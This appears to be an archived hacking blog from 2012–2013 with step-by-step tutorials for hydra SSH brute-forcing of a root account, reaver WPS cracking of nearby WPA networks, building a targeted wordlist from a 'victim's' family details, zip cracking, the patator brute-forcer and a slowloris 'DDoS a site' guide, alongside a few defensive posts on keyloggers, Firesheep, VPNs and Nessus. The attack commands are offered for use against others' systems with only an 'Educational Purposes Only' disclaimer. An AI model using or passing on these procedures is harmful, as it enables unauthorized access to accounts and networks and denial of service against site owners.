Thursday, April 4, 2013

How to SSH Cracking

We are going to use hydra to crack ssh.

  • Check if ssh port is open (default 22)
nmap -sT -Pn -n -p22 192.168.1.5
  • Try to connect
ssh 192.168.1.5
  • Cracking
hydra -l root -P mypasslist.lst 192.168.1.5 ssh
  • If step 3 ended succesfully, try to connect again

Monday, April 1, 2013

How to crack wi-fi with reaver

What you'll need?:

  • Backtrack 5
  • Computer with wi-fi and a DVD drive
  • A nearby WPA-secured wi-fi network
  • A little patience

Let's get crackin'

At this point you should have BackTrack burned to a DVD, and you should have your laptop handy.
  • Step 1: Boot into BackTrack
To boot into BackTrack, just put the DVD in your drive and boot your machine from the disc. (Google around if you don't know anything about live CDs/DVDs and need help with this part.) During the boot process, BackTrack will prompt you to to choose the boot mode. Select "BackTrack Text - Default Boot Text Mode" and press Enter.

Eventually BackTrack will boot to a command line prompt. When you've reached the prompt, type startx and press Enter. BackTrack will boot into its graphical interface.
  • Step 2:Install reaver
Reaver has been added to the bleeding edge version of BackTrack, but it's not yet incorporated with the live DVD, so as of this writing, you need to install Reaver before proceeding. (Eventually, Reaver will simply be incorporated with BackTrack by default.) To install Reaver, you'll first need to connect to a Wi-Fi network that you have the password to.
  1. Click Applications > Internet > Wicd Network Manager
  2. Select your network and click Connect, enter your password if necessary, click OK, and then click Connect a second time.
Now that you're online, let's install Reaver. Click the Terminal button in the menu bar (or click Applications > Accessories > Terminal). At the prompt, type:
apt-get update 

And then, after the update completes:

apt-get install reaver
If all went well, Reaver should now be installed. It may seem a little lame that you need to connect to a network to do this, but it will remain installed until you reboot your computer. At this point, go ahead and disconnect from the network by opening Wicd Network Manager again and clicking Disconnect. (You may not strictly need to do this. I did just because it felt like I was somehow cheating if I were already connected to a network.)

  • Step 3: Gather Your Device Information, Prep Your Crackin'
 In order to use Reaver, you need to get your wireless card's interface name, the BSSID of the router you're attempting to crack (the BSSID is a unique series of letters and numbers that identifies a router), and you need to make sure your wireless card is in monitor mode. So let's do all that.
Find your wireless card: Inside Terminal, type:

iwconfig

Press Enter. You should see a wireless device in the subsequent list. Most likely, it'll be named wlan0, but if you have more than one wireless card, or a more unusual networking setup, it may be named something different.
Put your wireless card into monitor mode: Assuming your wireless card's interface name is wlan0, execute the following command to put your wireless card into monitor mode:
 airmon-ng start wlan0 
This command will output the name of monitor mode interface, which you'll also want to make note of. Most likely, it'll be mon0, like in the screenshot below. Make note of that.

Find the BSSID of the router you want to crack: Lastly, you need to get the unique identifier of the router you're attempting to crack so that you can point Reaver in the right direction. To do this, execute the following command:

airodump-ng wlan0 

You'll see a list of the wireless networks in range
When you see the network you want, press Ctrl+C to stop the list from refreshing, then copy that network's BSSID (it's the series of letters, numbers, and colons on the far left). The network should have WPA or WPA2 listed under the ENC column.
Now, with the BSSID and monitor interface name in hand, you've got everything you need to start up Reaver.

  • Step 4: Crack a Network's WPA Password with Reaver

Now execute the following command in the Terminal, replacing bssid and moninterface with the BSSID and monitor interface and you copied down above:

reaver -i moninterface -b bssid -vv 

For example, if your monitor interface was mon0 like mine, and your BSSID was 8D:AE:9D:65:1F:B2 (a BSSID I just made up), your command would look like:

reaver -i mon0 -b 8D:AE:9D:65:1F:B2 -vv 

Press Enter, sit back, and let Reaver work its disturbing magic. Reaver will now try a series of PINs on the router in a brute force attack, one after another. This will take a while. In my successful test, Reaver took 2 hours and 30 minutes to crack the network and deliver me with the correct password. As mentioned above, the Reaver documentation says it can take between 4 and 10 hours, so it could take more or less time than I experienced, depending.

How Reaver Works

Now that you've seen how to use Reaver, let's take a quick overview of how Reaver works. The tool takes advantage of a vulnerability in something called Wi-Fi Protected Setup, or WPS. It's a feature that exists on many routers, intended to provide an easy setup process, and it's tied to a PIN that's hard-coded into the device. Reaver exploits a flaw in these PINs; the result is that, with enough time, it can reveal your WPA or WPA2 password.

Monday, March 11, 2013

How to make a wordlist in Backtrack 5 R3


Level : Easy

  Go to Applications - Backtrack - Privilege escalation - Password Attacks - Offline Attacks - Cupp

For example I make a list with my informations:
./cupp.py -i

  • Name : Alex
  • Surname : Claudiu
  • Nickname : Equinox
  • Birthdate(DDMMYYYY) : 06091997
  • Wife's (husband's) name : I don't have but i put a random name Adrianne
  • Wife's (husband's) nickname : Adrianne12
  • Wife's (husband's) birthdate (DDMMYYYY) : 12061995
  • Child's name : Abigail
  • Child's nickname : Abigail13
  • Child's birthdate (DDMMYYYY) : 05082000
  • Pet's name : Lessie
  • Company name : Backtrack
  • You can add some keywords about the victim just press Y/N and hit enter
  • You can add some random numbers just press Y/N and hit enter 
  • You can activate l33t mode just press Y/N and hit enter
Now to access your wordlist just open /pentest/passwords/wordlists
Good luck!

Monday, November 12, 2012

How To Protect Your Computer From Keyloggers

How To Protect Your Computer From Keyloggers

A keylogger is a small program that stores each keystroke a user types on a specific computer's keyboard. It is capable to send log files by email or via FTP.
Now the question is how to protect your computer system to get affected by keyloggers, keep in mind the sender of the file force you to click on it. So be careful while receiving a file from unknown person or even a known person.
You can get affected by vising untrustworthy web site. Some sites may have code in them that exploit your web browser and cause it to quietly install a keylogging application without your permission. (Note: even turstworthy sites can be hacked! The same hackers who are after your information can hack what you think of as trustworthy sites and add exploit code to them which could give you a keylogger.)

Here is the major steps to fight against keylogger:

  • Use a good AntiVirus
  • Keep your operating system up-to-date.
  • Install firewall software that prevents any unauthorized access between your computer and the Internet. Comodo is recommended. Again, its free and well regarded. 
  • Get a virus scanner. Grisoft provides one for free. Be sure to configure it to scan your system regularly and to check for updates. 
  • Get a free anti-spyware program and run it. Spy Sweeper is a good one. As with your anti-virus software, be sure to configure it to scan your system regularly and check for updates. 
  • Be sure to run the latest version of your browser software 
  • Be careful downloading files! While your anti-virus and anti-spyware software should catch anything that gets installed, it's better to catch them before they get installed and have a chance to cause damage. Never download files from sites you don't trust and be wary of opening unexpected e-mail attachments. 
  • Use Antilogger like Zemana 

Patator – Multi Purpose Brute Forcing Tool

Patator – Multi Purpose Brute Forcing Tool

There are many tools available for cracking like, ncrack, brutus and THE hydra but today I want to share patator. Patator is a multi-purpose brute-forcer, with a modular design and a flexible usage.




Currently it supports the following modules: 
* ftp_login : Brute-force FTP 
* ssh_login : Brute-force SSH 
* telnet_login : Brute-force Telnet 
* smtp_login : Brute-force SMTP 
* smtp_vrfy : Enumerate valid users using the SMTP VRFY command 
* smtp_rcpt : Enumerate valid users using the SMTP RCPT TO command 
* http_fuzz : Brute-force HTTP/HTTPS 
* pop_passd : Brute-force poppassd (not POP3) 
* ldap_login : Brute-force LDAP 
* smb_login : Brute-force SMB 
* mssql_login : Brute-force MSSQL 
* oracle_login : Brute-force Oracle 
* mysql_login : Brute-force MySQL 
* pgsql_login : Brute-force PostgreSQL 
* vnc_login : Brute-force VNC 
* dns_forward : Forward lookup subdomains 
* dns_reverse : Reverse lookup subnets 
* snmp_login : Brute-force SNMPv1/2 and SNMPv3 
* unzip_pass : Brute-force the password of encrypted ZIP files 
* keystore_pass : Brute-force the password of Java keystore files 
Download from HERE


FTP : Enumerate valid logins on a too verbose server 
HTTP : Brute-force phpMyAdmin logon  
SNMPv3 : Find valid usernames 
SNMPv3 : Find valid passwords 
DNS : Forward lookup  
DNS : Reverse lookup two netblocks owned by Google 
ZIP : Crack a password-protected ZIP file (older pkzip encryption not supported in JtR) 

Sunday, November 11, 2012

How to Crack Password-Protected Zip Files

How to Crack Password-Protected Zip Files

People using Zip to compress their files beside compression they are trying to lock their important data with password(s).
Now let suppose if you do this same thing with your important files and now you have forgotten password, now what to do now its time to crack it.
This article will teach you how to crack the password of Zip files.
For this purpose we will use Linux based operating system and a tool FCrackZip for this purpose, FCrackZip is a fast and free-ware tool and it is easy to use Zip cracker tool it is similar to fzc and zipcrack. It has been written in assembler and it uses brute force and dictionary based attack to crack or find-out the passwords.
By using a simple Linux terminal and command you can easily crack the Zip password, you can download FCrackZip from your software manager.

Use this command to get FCrackZip from terminal:
  • $ sudo apt-get install fcrackzip
After installing this you have options to attack on your zip file, either choose brute force attack or dictionary attack

Here is the simple usage example.
  • $ fcrackzip -v -b -p aaaaaa -u your_zip_file.zip
By looking you can easily see the brute force attack against a zip file that is password protected, it took around 30 minutes to find the password for this zip.

WiFi Killer-FireSheep


WiFi Killer-FireSheep

Security researcher always warned people about the bug and vulnerability of public networks and unencrypted services, life changes every day the new day come with some new vulnerability.

As you know that when you logging into a website your enter your user-name and password and then the server check your submitting user-name and password with their record and than assign you a cookies for your browser to get connected with server, what happen when you are logging and someone will get your cookies and use it on his browser, yes this is called session hijacking.

Over a year ago, session hijacking need some technical knowledge and the new and inexperienced user's cant do this, but the time has been changed and a Firefox add-on called Firesheep introduced that hijack the facebook,myspace and twitter session over an open network. FireSheep is free, open source and available almost on every operating system.

How FireSheep works


Firesheep is a packet sniffer that analyze received packets from unencrypted websites on a open network like WiFi connections.
An attacker install firesheep and the new side bar appears on Firefox and the extension wait for the 26 websites that are in firesheep database to log in, when someone log in in any of these websites than firesheep capture his session id or user-name and password. 
If you know the difference between HTTP and HTTPS than you can easily understand the working of FireSheep, yes when your browser shows HTTPS instead of HTTP means your are logging on an encrypted website.

Protection


  • Use a VPN(Virtual Private Network) that create a secure tunnel for your data.
  • Use HTTPS everywhere, it is a firefox add-on.
  • Avoid visiting such websites, when you connected to the public access networks, in place like coffee shops and airports.

Create your own VPN using Windows XP

Create your own VPN using Windows XP

Before reading this article it is recommended to read the first episode of Virtual Private Network (VPN) click here to read.

As we have described on previous article that VPN is secure and uses encryption technique and create a virtual tunnel for communication, Windows XP provides a certain level of security by using Point-to-Point Tunneling Protocol (PPTP) or Layer Two Tunneling Protocol (L2TP). They are both considered tunneling protocols – simply because they create that virtual tunnel.

If you want to create a VPN on Windows XP client that you do not need any third party tool or software, just follow the steps to configure your virtual private network.
  • Go on Control Panel than double click on network connection.
  • Create a new connection in network task.
  • Network wizard is start click next.

  • Choose the option "Connect to the network at my workplace" than press next.

  • Click on Virtual Private Network than press next.
  • Than it will ask you to type the host name or IP of the host, you can change this later. Type the host name and the IP of the computer to whom you want to connect.
  • It may ask about smart card, you are about to done the wizard.
  • It time to customize the connection you can reach your connection by your desktop if you made a shortcut while wizard or you reach it by network connection, than right click on it and click on the properties.
  • The first Tab is the general tab which show the detail of the connection, you can change your setting here.
  • The next is the option tab, at this tab you have various option to choose from you can change the redialing setting.
  • The next tab is very important and it is security tab, at this you can configure basic security for your VPN client.
  • Then the next is networking tab, you can choose what networking item used in VPN connection.
  • last is the advance tab for configure firewall settings.
  • Now the time is to connect your host to whom you setup the VPN open you connection type the user-name and password than connect your host via secure channel.

How to install Nessus in BackTrack 5

How to install Nessus in BackTrack 5


Nessus is one of the best vulnerability scanner that is available in two mode for both home and commercial user's, nessus plug in for home user is free of cost. However we have OpenVAS and Nexpose they both are also a good vulnerability scanner and we have discussed several tutorials for them. Nessus installation in backtrack 5 was an easy work and we discuss it before but Backtrack 5 does not have a default way to install nessus, so how to install Nessus in Backtrack 5? You will get the answer.

There are mainly two ways to get Nessus on Backtrack 5 first one is to download a copy of nessus from its official website but the easiest way is to use your terminal:

  • root@bt:~# apt-get install nessus

After getting Nessus on your Backtrack 5 you need to add a user, you can add multiple user (s) as well, on the terminal type:

  • root@bt:~# /opt/nessus/sbin/nessus-adduser
Registration phase is important and you need to decided that what you want a home feed or a business feed, for registration go HERE

Than on the terminal type:

  • root@bt:~# /opt/nessus/bin/nessus-fetch --register YOUR KEY

Than you need to start nessus on the terminal type:

  • root@bt:~# /etc/init.d/nessusd start

Than at the browser use https://127.0.0.1:8834 to start nessus.

Saturday, November 10, 2012

Hacker Guide

Hacker Guide

Hacker Hierarchy

script kiddie – an insulting term used to describe a juvenile teen who pretends to be an elite hacker.

Intermediate Hackers – people with knowledge of computers, networks and programming to understand what a script might do by looking at it.

Professional Hackers – People that can write an exploit for a piece of software or their own tools. They can break into a system and hide their tracks.

Hacker Programming

You might be asking yourself, “Do I really need to learn programming to be a hacker?” and the answer isn’t a clear yes or no. It depends on what you want to do. Learning backtrack and metasploit will help you become a “point and click hacker”.  However, you can become a good ethical hacker without knowing any programming.

Programming will make you a better hacker in the sense that you will be able to code your own exploits. Some blank hat hackers use their own custom tools to hack rather than using tools that are free to download on the net. Learning to program will let you understand how they do it.

Where should I start programming?

This question has been asked more times than I can count and for good reason. There is no right answer. Some recommend python as a first language because it is relatively easy to learn. Others say start with the C language. C is a powerful multipurpose language that can be used to create just able any program you can think of. I can not say for sure where you should start, but I will recommend python if you have no experience at all, and C is you know some programming or you have tons of confidence.

  • Find a beginner book and be sure to read the reviews.
  • Read and do all the practice problems in the book.
  • Join a programming community and ask questions. Don’t be afraid because there are people who will gladly help.
  • Never stop learning, reading, and practicing!

Learn Linux

Linux is a free, open-source operating system and is used all over the world. Millions of servers use linux to host a variety of web services. One version of linux is backtrack. It is a distribution of linux that is full of tools used to hack a system or network. This site is dedicated to learning the tools of backtrack. I have a page on installing it Here Here or Here

Installing BackTrack 5 on a USB

Installing BackTrack 5 on a USB


Requied items:

  • A USB flash drive with minimum space of 4 GB
  • BackTrack 5 ISO
  • UNetbootin
UNetbootin is a program that allows you to create bootable USB drives for linux distros and Windows. UNetbootin will download the distribution or use an ISO file you selected from your hard drive.

  • Once UNetbootin is downloaded you can run it by double clicking (Windows)
Plug in your USB Drive.
  • Start UNetbooin and select the “diskimage” option, then select your Backtrack 5 ISO.
  • Select your USB Drive, then click “OK”.
WARNING: This will format your USB Drive and remove all previous data.

Now you should be able to boot off of your USB Drive with Backtrack 5.


How to install BackTrack5 to a virtual machine

How to install BackTrack 5 to a VirtualMachine

Installing Backtrack 5 to a Virtual Machine.

Download the iso file as noted above and have a virtual machine program. You can use either VMware or Virtual Box as your virtual machine software. I will be using VMware but the two programs are very similar.

Fire up the software of your choosing and click File -> New -> Virtual Machine. You will then see a window asking for which type of installation you would like. For this example we will use the Typical Install. Click next.


Next you want to select where you are installing from. In this case we are installing from a disc image (iso). Select that and click browse, then navigate to where you saved your iso file.

Click next, VMware will then ask you to select the guest operating system. Select Linux and for the version you can pick Ubuntu since backtrack is very similar to Ubuntu.



















Click next. Give a name for you virtual machine and where you want the hard drive to be saved.



















Click next. VMware will then ask you to pick a hard drive capacity. Since I will be using backtrack just for testing, I do not need a large hard drive, so I will leave it at 20 gigs. As for storing as a single file, or split into multiple files, that is up to you. I will be using single file because I do not plan on moving the this VM to another machine.



















Click next and you will see a review of your virtual machine, click finish and it will create the virtual machine for you. Refer to tutorial 1 for the backtrack install process.


How to install BackTrack 5 to a HDD

How to install BackTrack 5 to a HDD

First you need to download the BackTrack:

http://www.backtrack-linux.org/downloads/

You need to burn it to a bootable DVD

Press "DOWNLOAD" to skip the register and select the version of BackTrack


Selection Backtrack 5, Gnome or KDE (if you are not sure between the two, I find Gnome to be better), Pick between 32 or 64 bit (we’ll be using 32bit), ISO, and Direct.

Boot your laptop or desktop with the DVD or Flash drive inserted and press your boot options key (normally F12) and select CD Rom or Removable Flash drive.

Select BackTrack Text – Default Boot Text Mode













Backtrack will do some stuff then you should see the BackTrack console screen. Type startx to load the GUI screen.
















Now double-click the Install BackTrack icon on the top-left of the screen. This will run the Backtrack installer.





























Run through the installer. It’s not too complicated, except when it comes to selecting a drive (Will cover dual booting later). For this example, we will just use the entire hard drive.
WARNING:This will delete ANY data on that drive
Also, the installer will stop a 99%. This is normal! It will stay at 99% for several minutes.

Once the computer restarts, remove the CD/Flashdrive and you will see the login screen for BackTrack. Login as “root” and the password as “toor“. Use the startx command to get into the GUI. There you have it! Backtrack 5 is install on your computer.

Friday, November 9, 2012

DDos a site with BackTrack 5

How to DDOS a site with BackTrack 5:

First of all you need to own BackTrack 5

Open a new terminal and type:
  • ping "site.ro"
It will look like this:
















Second you need to install slowloris.pl
Open a terminal and type:
  • cd Desktop
  • nano slowloris.pl
Copy the text on this page to the terminal:
http://ha.ckers.org/slowloris/slowloris.pl It will look like this:
Hit the CTRL+O and press enter
Open a new terminal and type:

  • cd Desktop
  • ./slowloris.pl
  • ./slowloris.pl -dns [www.site.ro/ip]

Educational Purposes Only